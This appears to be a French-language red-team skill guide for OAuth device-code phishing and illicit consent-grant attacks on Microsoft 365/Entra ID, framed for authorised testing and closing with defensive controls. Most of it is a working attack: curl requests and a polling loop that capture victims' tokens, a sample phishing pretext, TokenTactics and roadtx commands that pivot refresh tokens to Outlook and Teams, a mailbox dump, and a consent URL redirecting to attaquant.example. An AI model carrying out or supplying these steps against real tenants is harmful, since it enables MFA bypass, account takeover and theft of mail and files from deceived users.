Que fait Attaquer OAuth par Phishing de Code d'Appareil ?
Avis légal: Cette compétence est destinée aux tests de sécurité autorisés, aux engagements d'équipe rouge et à des fins éducatives uniquement. Le phishing par code d'appareil et octroi de consentement manipulent de vrais utilisateurs pour autoriser l'accès contrôlé par l'attaquant à des identités d'entreprise. Exécutez uniquement contre des locataires que vous possédez ou pour lesquels vous avez une autorisation écrite explicite (règles d'engagement) pour tester. Toute utilisation non autorisée viole le Computer Fraud and Abuse Act et les lois équivalentes dans le monde entier.
Aperçu
L'octroi d'autorisation d'appareil OAuth 2.0 (RFC 8628) a été conçu pour les appareils à saisie limitée (téléviseurs intelligents, outils CLI) qui ne peuvent pas facilement présenter une connexion basée sur un navigateur. Un appareil demande un user_code court et un device_code, affiche le user_code et une URL de vérification à l'utilisateur, et interroge le point de terminaison de jeton pendant que l'utilisateur s'authentifie sur un appareil séparé et complet. Les attaquants exploitent ce flux : au lieu d'une télévision intelligente, l'« appareil » est la machine de l'attaquant. L'attaquant initie la demande de code d'appareil, puis hameçonne une victime pour qu'elle visite la page de vérification légitime de Microsoft (https://microsoft.com/devicelogin) et entre le user_code généré par l'attaquant. Parce que la victime s'authentifie sur la page de connexion Microsoft authentique — complétant la MFA — les jetons résultants sont frappés pour la session de polling de l'attaquant. Cela contourne entièrement la MFA : le deuxième facteur est satisfait par la victime, mais les jetons porteurs atterrissent chez l'attaquant (mappé à MITRE ATT&CK T1528 – Vol de jeton d'accès d'application).
Microsoft Threat Intelligence, Volexity et Proofpoint ont documenté une forte croissance du phishing par code d'appareil jusqu'en 2025, avec des acteurs alignés sur la Russie (suivis par Microsoft sous le nom de Storm-2372) parmi les plus prolifiques. Les rapports M-Trends de Mandiant mettent également en évidence le vol de jetons OAuth comme un vecteur d'accès initial cloud de premier plan. Une technique étroitement liée est l'octroi de consentement illicite (« phishing OAuth ») : l'attaquant enregistre une application multi-locataire et incite la victime à cliquer sur une URL /adminconsent ou de consentement utilisateur, accordant à l'application malveillante des autorisations Microsoft Graph déléguées (Mail.Read, Files.ReadWrite.All, offline_access) qui persistent indépendamment des réinitialisations de mot de passe. Cette compétence couvre les deux, plus la relecture de jetons entre les services Microsoft 365 en utilisant TokenTactics et la validation/mappage d'accès avec ROADtools.
La propriété déterminante que les équipes rouges exploitent : les jetons d'accès frappés via le flux de code d'appareil sont valables environ 60 à 90 minutes, mais le jeton d'actualisation qui l'accompagne (avec le champ d'application offline_access) survit jusqu'à 90 jours et peut être échangé contre de nouveaux jetons pour toute ressource first-party que le client est autorisé à demander — Outlook, SharePoint, Teams, Azure Resource Manager — permettant un accès durable et contournant la MFA.
Quand utiliser
- Lors d'un engagement autorisé d'équipe rouge ou de violation présumée ciblant Microsoft 365 / Entra ID où l'ingénierie sociale est dans le périmètre
- Lors de la validation des politiques d'accès conditionnel, de l'application de la MFA et des contrôles de protection des jetons contre de véritables techniques de phishing
- Lors du test de la restriction du flux de code d'appareil OAuth ou du blocage du consentement d'application multi-locataire non vérifié par une organisation
- Lors de la démonstration du risque de contournement de la MFA pour justifier une authentification résistante au phishing (FIDO2) et des contrôles de liaison de jetons
- Lors de l'élaboration de détections (associée à la compétence d'équipe bleue
hunting-saas-sso-token-abuse) et que vous avez besoin de télémétrie réaliste
Prérequis
- Autorisation écrite / règles d'engagement autorisant explicitement le phishing et le vol de jetons contre le locataire cible
- Un canal de livraison de prétexte contrôlé (infrastructure de phishing autorisée ou une boîte aux lettres de test interne)
- Hôte attaquant Linux ou Windows avec Python 3.8+ et PowerShell 7+
- TokenTactics (PowerShell) et ROADtools (Python) installés :
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) est livré dans roadtools_auth roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - Familiarité avec les types d'octroi OAuth 2.0, la structure JWT et les étendues Microsoft Graph
Objectifs
- Initier une demande de code d'appareil OAuth contre Entra ID en utilisant un ID client first-party
- Fournir un prétexte crédible qui pousse la victime vers la page de connexion d'appareil Microsoft authentique
- Interroger le point de terminaison de jeton et capturer les jetons d'accès et d'actualisation de la victime
- Actualiser les jetons entre les ressources Microsoft 365 (Graph, Outlook, Azure management) pour étendre l'accès
- Exécuter la variante de consentement illicite en enregistrant et en hameçonnant le consentement pour une application multi-locataire malveillante
- Énumérer les ressources et les données accessibles avec ROADtools pour démontrer l'impact
- Documenter le contournement de la MFA et produire des recommandations de remédiation
Cartographie MITRE ATT&CK
| ID | Technique | Application dans cette compétence |
|---|---|---|
| T1528 | Vol de jeton d'accès d'application | Le phishing du flux de code d'appareil / octroi de consentement produit des jetons d'accès et d'actualisation OAuth contrôlés par l'attaquant qui sont réutilisés pour accéder aux services cloud sans se réauthentifier |
Techniques connexes fréquemment enchaînées : T1566 Phishing (livraison), T1550.001 Jeton d'accès d'application (relecture de jetons volés), T1098.003 Manipulation de compte : Rôles cloud supplémentaires (persistance de l'octroi de consentement).
Flux de travail
Phase 1 : Initier la demande de code d'appareil
L'attaquant demande un code d'appareil à Entra ID, choisissant un client first-party auquel la victime fait implicitement confiance. L'ID client Microsoft Office d3590ed6-52b3-4102-aeff-aad2292ab01c est couramment utilisé car il est pré-autorisé pour de nombreuses ressources first-party.
-
Demander un code d'appareil directement via le point de terminaison de jeton :
# client_id = Microsoft Office ; scope demande offline_access pour un jeton d'actualisation de longue durée curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
La réponse JSON contient les champs que vous exploitez :
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "Pour vous connecter, utilisez un navigateur Web pour ouvrir la page https://microsoft.com/devicelogin et entrez le code B7HVQXKZ2 pour vous authentifier." } -
Notez la fenêtre de validité de 15 minutes (
expires_in : 900) — le prétexte doit pousser la victime à s'authentifier rapidement.Équivalent en utilisant TokenTactics (gère le polling automatiquement) :
Import-Module ./TokenTactics/TokenTactics.psd1 # Génère un code d'appareil et commence le polling ; imprime le user_code à hameçonner Get-AzureToken -Client MSGraph
Phase 2 : Fournir le prétexte
Le message de phishing NE doit PAS contenir de lien de récolte d'identifiants — la victime s'authentifie sur la vraie page Microsoft, ce qui dissipe les soupçons de l'utilisateur et contourne la MFA.
- Créez un prétexte qui fait référence à l'URL authentique
https://microsoft.com/deviceloginet auuser_code(par exemple, « Les services informatiques inscrivent votre compte au nouvel appareil Teams Rooms ; ouvrez microsoft.com/devicelogin et entrez le code B7HVQXKZ2 dans les 15 minutes »). - Envoyez via une infrastructure de phishing autorisée. Les codes/URL hyperliés finissent souvent dans les spams, alors présentez l'URL et le code sous forme de texte brut.
- Chronométrez la livraison au début d'un cycle de polling pour que le code soit frais.
Phase 3 : Poller et capturer les jetons
Pendant que la victime s'authentifie et approuve, interrogez le point de terminaison de jeton avec le device_code jusqu'à ce que les jetons soient émis.
- Interrogez à l'
intervallespécifié par le serveur (5 secondes) ;authorization_pendingest attendu jusqu'à ce que la victime termine la connexion :DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - En cas de succès, la réponse donne
access_token,refresh_token,id_token,expires_inet lescopeaccordé. - Décodez le jeton d'accès pour confirmer l'identité capturée, le public et les étendues :
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
Phase 4 : Actualiser entre les ressources Microsoft 365
Le jeton d'actualisation (avec offline_access) peut être échangé contre des jetons destinés à d'autres ressources first-party, étendant l'accès au-delà de la portée d'origine.
- Utilisez les fonctions d'actualisation de TokenTactics pour faire pivoter le jeton d'actualisation vers des services spécifiques :
# $response contient le résultat du code d'appareil de Get-AzureToken $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # accès à la boîte aux lettres Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - De manière équivalente avec roadtx, échangez le jeton d'actualisation contre une nouvelle ressource :
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - Démontrez l'accès à la boîte aux lettres pour prouver l'impact (lecture seule, limité aux règles d'engagement) :
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
Phase 5 : Variante d'octroi de consentement illicite
Au lieu d'un code d'appareil, enregistrez une application multi-locataire malveillante et hameçonnez la victime pour qu'elle consente à des autorisations Graph déléguées pour un accès durable et résistant aux réinitialisations de mot de passe.
- Enregistrez une application multi-locataire dans un locataire attaquant demandant des étendues déléguées telles que
Mail.Read,Files.ReadWrite.All,offline_access. - Construisez une URL de consentement utilisateur et hameçonnez-la :
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ID_APPLICATION_ATTAQUANT> &response_type=code &redirect_uri=https://attaquant.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - Lorsque la victime consent, échangez le
coderetourné contre des jetons :curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ID_APPLICATION_ATTAQUANT>' \ -d 'grant_type=authorization_code' \ -d 'code=<CODE_AUTH>' \ -d 'redirect_uri=https://attaquant.example/callback' \ -d 'client_secret=<SECRET_APPLICATION>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - L'octroi de consentement OAuth accepté persiste en tant qu'octroi de principal de service dans le locataire victime jusqu'à ce qu'un administrateur le révoque (
Remove-MgServicePrincipalOauth2PermissionGrant).
Phase 6 : Énumérer l'impact avec ROADtools
- Authentifiez roadrecon avec le jeton d'accès / jeton d'actualisation capturé et videz l'annuaire :
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # parcourir les utilisateurs, groupes, inscriptions d'applications, attributions de rôles - Identifiez l'accès de grande valeur : attributions de rôles, applications possédées, sites SharePoint accessibles et octrois de consentement supplémentaires.
- Enregistrez exactement les données et les rôles auxquels les jetons volés ont eu accès pour le rapport d'engagement.
Outils et ressources
| Outil | Objectif | Source |
|---|---|---|
| TokenTactics v2 | Générer des codes d'appareil et actualiser des jetons entre les services M365 | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | Échange de jetons, énumération d'annuaire, cartographie d'accès | https://github.com/dirkjanm/ROADtools |
| AADInternals | Boîte à outils PowerShell d'attaque/reconnaissance Entra ID | https://github.com/Gerenios/AADInternals |
| RFC 8628 | Spécification de l'octroi d'autorisation d'appareil OAuth 2.0 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Avis Microsoft / Storm-2372 | Analyse de campagne de phishing par code d'appareil | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | Rapports de tendance sur le vol de jetons OAuth | https://cloud.google.com/security/resources/m-trends |
Recommandations défensives
| Contrôle | Effet |
|---|---|
Politique d'accès conditionnel bloquant le flux de code d'appareil (authenticationFlows) pour les utilisateurs qui n'en ont pas besoin | Supprime la surface d'attaque pour la plupart des utilisateurs |
| MFA résistant au phishing (FIDO2 / passkeys) + protection des jetons (liaison de jetons) | Les jetons liés ne peuvent pas être rejoués hors de l'appareil de la victime |
| Restreindre le consentement utilisateur aux éditeurs vérifiés / exiger le consentement de l'administrateur | Bloque les octrois de consentement illicites |
| Fréquence de connexion + durées de session plus courtes sur les réseaux non fiables | Limite la longévité du jeton d'actualisation |
Surveiller AADNonInteractiveUserSignInLogs pour les octrois de code d'appareil et l'utilisation anormale de jetons | Détection (voir hunting-saas-sso-token-abuse) |
Critères de validation
- La demande de code d'appareil a retourné un
user_codeet undevice_codevalides - Prétexte livré faisant référence à la page de connexion d'appareil Microsoft authentique (pas de lien de récolte)
- Point de terminaison de jeton interrogé et
access_token+refresh_tokencapturés - Le jeton d'actualisation a été échangé contre au moins un jeton de service croisé
- L'application multi-locataire a été enregistrée et le consentement obtenu (variante de consentement illicite)
- ROADtools a énuméré les utilisateurs, groupes ou attributions de rôles du locataire
- La documentation de l'engagement décrit le vecteur d'attaque et les recommandations de remédiation